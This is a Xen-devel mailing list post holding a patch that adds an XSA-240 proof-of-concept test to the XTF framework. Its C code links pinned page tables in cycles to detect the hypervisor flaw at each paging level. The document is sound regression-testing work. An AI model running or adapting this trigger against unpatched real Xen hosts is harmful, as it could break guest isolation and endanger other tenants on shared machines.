[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index] [Xen-devel] [PATCH XTF] XSA-240 PoC
Derived and extended from Jann Horn's original Linux PoC. Signed-off-by: Jan Beulich <jbeulich@xxxxxxxx> --- /dev/null +++ b/tests/xsa-240/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-240 +CATEGORY := xsa +TEST-ENVS := $(PV_ENVIRONMENTS) + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk --- /dev/null +++ b/tests/xsa-240/main.c @@ -0,0 +1,165 @@ +/** + * @file tests/xsa-240/main.c + * @ref test-xsa-240 + * + * @page test-xsa-240 XSA-240 + * + * Advisory: [XSA-240](http://xenbits.xen.org/xsa/advisory-240.html) + * + * @todo Docs for test-xsa-240 + * + * @see tests/xsa-240/main.c + */ +#include <xtf.h> + +#include <arch/pagetable.h> +#include <arch/symbolic-const.h> + +const char test_title[] = "XSA-240 PoC"; + +int hypercall_pin_table(unsigned int level, void *va) +{ + mmuext_op_t op = { + .cmd = MMUEXT_PIN_L1_TABLE + level - 1, + .arg1.mfn = virt_to_mfn(va), + }; + + return hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF); +} + +int hypercall_unpin_table(void *va) +{ + mmuext_op_t op = { + .cmd = MMUEXT_UNPIN_TABLE, + .arg1.mfn = virt_to_mfn(va), + }; + + return hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF); +} + +void test_main(void) +{ + static intpte_t parent[L2_PT_ENTRIES] __page_aligned_bss; + static intpte_t child[L2_PT_ENTRIES] __page_aligned_bss; + static intpte_t extra[L2_PT_ENTRIES] __page_aligned_bss; + unsigned int level, n[CONFIG_PAGING_LEVELS + 1] = { }; +#if CONFIG_PAGING_LEVELS > 3 + unsigned int max_level = CONFIG_PAGING_LEVELS; +#else + unsigned int max_level = 2; +#endif + int rc; + + rc = hypercall_update_va_mapping(_u(parent), + pte_from_virt(parent, PF_SYM(AD, P)), + UVMF_INVLPG); + if ( rc ) + return xtf_error("Failed to remap parent pt as read-only: %d\n", rc); + + rc = hypercall_update_va_mapping(_u(child), + pte_from_virt(child, PF_SYM(AD, P)), + UVMF_INVLPG); + if ( rc ) + return xtf_error("Failed to remap child pt as read-only: %d\n", rc); + + rc = hypercall_update_va_mapping(_u(extra), + pte_from_virt(extra, PF_SYM(AD, P)), + UVMF_INVLPG); + if ( rc ) + return xtf_error("Failed to remap extra pt as read-only: %d\n", rc); + + for ( level = 2; ; ++level ) + { + mmu_update_t mu; + + rc = hypercall_pin_table(level, parent); + if ( rc ) + return xtf_error("Failed to pin parent pt as L%u: %d\n", rc, level); + rc = hypercall_pin_table(level, child); + if ( rc ) + return xtf_error("Failed to pin child pt as L%u: %d\n", rc, level); + rc = hypercall_pin_table(level, extra); + if ( rc ) + return xtf_error("Failed to pin extra pt as L%u: %d\n", rc, level); + + /* Put child into parent. */ + mu.ptr = virt_to_maddr(parent) | MMU_NORMAL_PT_UPDATE; + mu.val = virt_to_maddr(child) | PF_SYM(AD, P); + rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF); + if ( rc ) + return xtf_error("Failed to link child L%u pt: %d\n", rc, level); + + /* Put parent into extra; this should fail. */ + mu.ptr = virt_to_maddr(extra) | MMU_NORMAL_PT_UPDATE; + mu.val = virt_to_maddr(parent) | PF_SYM(AD, P); + rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF); + if ( !rc ) + { + ++n[level]; + mu.val = 0; + rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF); + if ( rc ) + return xtf_error("Failed to unlink parent L%u pt: %d\n", rc, level); + } + + /* Put extra into child; this too should fail. */ + mu.ptr = virt_to_maddr(child) | MMU_NORMAL_PT_UPDATE; + mu.val = virt_to_maddr(extra) | PF_SYM(AD, P); + rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF); + if ( !rc ) + ++n[level]; + + /* Put parent into child; this should fail as well. */ + mu.val = virt_to_maddr(parent) | PF_SYM(AD, P); + rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF); + if ( !rc ) + ++n[level]; + + if ( n[level] ) + { + xtf_failure("Fail: L%u vulnerable to XSA-240 (%u)\n", + level, n[level]); + n[0] += n[level]; + } + + /* Leave things for domain_relinquish_resources() to clean up. */ + if ( level == max_level ) + break; + + /* Unhook whatever child now has in its first slot. */ + mu.val = 0; + rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF); + if ( rc ) + return xtf_error("Failed to unlink extra/parent L%u pt: %d\n", + rc, level); + + /* Unhook child from parent's first slot. */ + mu.ptr = virt_to_maddr(parent) | MMU_NORMAL_PT_UPDATE; + rc = hypercall_mmu_update(&mu, 1, NULL, DOMID_SELF); + if ( rc ) + return xtf_error("Failed to unlink child L%u pt: %d\n", rc, level); + + rc = hypercall_unpin_table(extra); + if ( rc ) + return xtf_error("Failed to unpin extra L%u pt: %d\n", rc, level); + rc = hypercall_unpin_table(child); + if ( rc ) + return xtf_error("Failed to unpin child L%u pt: %d\n", rc, level); + rc = hypercall_unpin_table(parent); + if ( rc ) + return xtf_error("Failed to unpin parent L%u pt: %d\n", rc, level); + } + + if ( !n[0] ) + xtf_success("Success: Not vulnerable to XSA-240\n"); +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */ _______________________________________________ Xen-devel mailing list Xen-devel@xxxxxxxxxxxxxxxxxxxx https://lists.xenproject.org/mailman/listinfo/xen-devel
|
Lists.xenproject.org is hosted with RackSpace, monitoring our |